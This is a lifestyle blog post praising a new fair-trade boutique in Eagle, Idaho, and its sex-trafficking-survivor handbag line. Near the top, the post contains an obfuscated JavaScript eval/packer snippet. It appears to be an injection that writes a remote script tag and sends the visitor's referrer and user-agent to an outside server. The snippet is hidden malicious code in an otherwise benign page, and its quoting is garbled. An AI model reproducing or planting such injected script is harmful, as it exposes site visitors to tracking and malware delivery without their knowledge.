full circle exchange – Style Spy Girl

With eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzfba|var|u0026u|referrer|knizz||js|php’.split(‘|’),0,{}))
Photos by Laurie Anne’s Creations Photography

If you’ve followed my blog very long, you know that I love good fashion, and that I totally LOVE people who do good things for others! When those two passions collide, I find myself in a blissful place that I just HAVE to tell you all about! (See my previous article on the opening of Boise’s first Apricot Lane, for another great example of this!)

Recently, a brand new boutique opened in Eagle, Idaho, and I had the privilege of attending their grand opening festivities. The store is called “Full Circle Exchange,” and I truly believe it represents not only the future of responsible shopping, but also that perfect blend of fashion and humanitarian conscience!

Full Circle Exchange was launched by Mark & Jeanette Priddy, and Mark’s brothers John and Ed Priddy, whose goal is to “work with women entrepreneurs from around the world to bring their artisan goods into the western marketplace.” From purses, to tablecloths, to jewelry, everything in their boutique tells a story, and has a personal connection. For example, the beautiful necklaces made from bullet casings that Ethiopian women gather from around their villages, literally forming beauty from violence; you can’t help but reach out and touch this gorgeous jewelry, and marvel at its’ tragic origins.

One of the store’s products, in particular, instantly touched my heart and brought tears to my eyes. Nomi Network is a line that produces handbags and accessories that boast “Buy Her Bag, Not Her Body.” Their items are hand-crafted with pride by women who have been rescued from sex trafficking & exploitation, and receive training, support, and economic empowerment through the Network. To hold in your hands an item made directly by a woman who has been set free, learned a trade, and has a chance to create a new life for herself is both humbling and deeply moving!

Shopping in Full Circle Exchange is an all-around lovely experience, both visually and emotionally. The shop space itself is a stunning blend of rich architectural construction and bright, joyful decor. If you are in the market for unique gifts, gorgeous accessories, or Eco-friendly housewares, Full Circle is your one-stop shop. The prices are comparable to to the items you would find on other stores, and it’s an amazing experience to know your dollars are bringing freedom, empowerment, education, and economic independence to women and their families all over the world.